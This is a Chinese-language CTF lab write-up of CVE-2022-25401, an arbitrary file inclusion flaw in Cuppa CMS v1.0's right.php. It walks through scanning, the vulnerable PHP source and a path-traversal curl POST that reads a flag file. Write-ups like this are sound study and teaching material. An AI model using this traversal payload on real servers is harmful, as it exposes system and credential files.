春秋云镜 CVE-2022-25401

CVE-2022-25401

https://yunjing.ichunqiu.com/cve/detail/744

1
Cuppa CMS v1.0 administrator/templates/default/html/windows/right.php文件存在任意文件读取漏洞

打开靶机,访问这个right.php,直接404,我愁了半天也不像是要先登录才能访问的样子,因为没找到任何提示的东西,搜这个Cuppa CMS v1.0也搜不出来什么默认账号之类的。

最后实际的原因就是题目给的路径是错的😓或者说他自己搭的这个环境并没有和原本的poc匹配

另外,去nvd看了一眼,上边自带的一个github上的poc被作者删了😶‍🌫️

扫描

虽然这个春秋云镜总是给我的请求封掉,但还是扫出来了一些东西

既然是从administrator开始,每一级的目录都是404,第二级这个templates还扫到了,那就试一试不带这个administrator,这下扫到了

然后就是这个right.php,看一下burp抓到的响应,然后啥也没看出来😓

好在它是开源的,可以去github看一下它php咋写的。https://github.com/CuppaCMS/CuppaCMS/

(这个github并没有写版本,还好right的history只有三个版本😶‍🌫️)

php代码只有这两部分

1
2
3
4
5
6
7
<?php
@session_start();
include_once(realpath(__DIR__ . '/../../../..')."/classes/Cuppa.php");
$cuppa = Cuppa::getInstance();
if(!@$path) $path = $cuppa->utils->getUrlVars(@$_POST["path"]);
$language = $cuppa->language->load();
?>
1
2
3
<?php 
include realpath(__DIR__ . '/../../../..')."/".$_POST["url"];
?>

题目说是任意文件读取,那这肯定是下边这个的漏洞了,看起来要搞一个url的post参数

那我当前的路径是在哪里呢?(没好好学过php)

我是观察上面的那个php代码,同样一个realpath,那这个post url的起始位置和classes/Cuppa.php的起始位置应该是一样的。所谓以我尝试include一下,注意这里不要include 那些php,会被执行掉看不到,所以我选择classes/index.html

1
2
3
<div class="w_right">
<!DOCTYPE html><title></title>
</div>

在原本right.php结尾这个w_right标签里有东西了

好,知道了当前路径,那我的flag在哪里呢?上面都是在干什么😓

只能一路..下去试了,在试了12个..之后终于输出了flag

我也不知道部署这道题的人为什么这么脑抽把CuppaCMS这个文件夹放这么深的地方😓

1
2
<div class="w_right">
flag{e12071ae-35d2-48ca-aa49-92f1653bfd67}</div>
1
curl -X POST "http://www.a.com/templates/default/html/windows/right.php" -d "url=../../../../../../../../../../../../flag"

春秋云镜 CVE-2022-25401
https://isolator-1.github.io/2024/10/18/penetration/春秋云镜CVE-2022-25401/
Author
Isolator
Posted on
October 18, 2024
Licensed under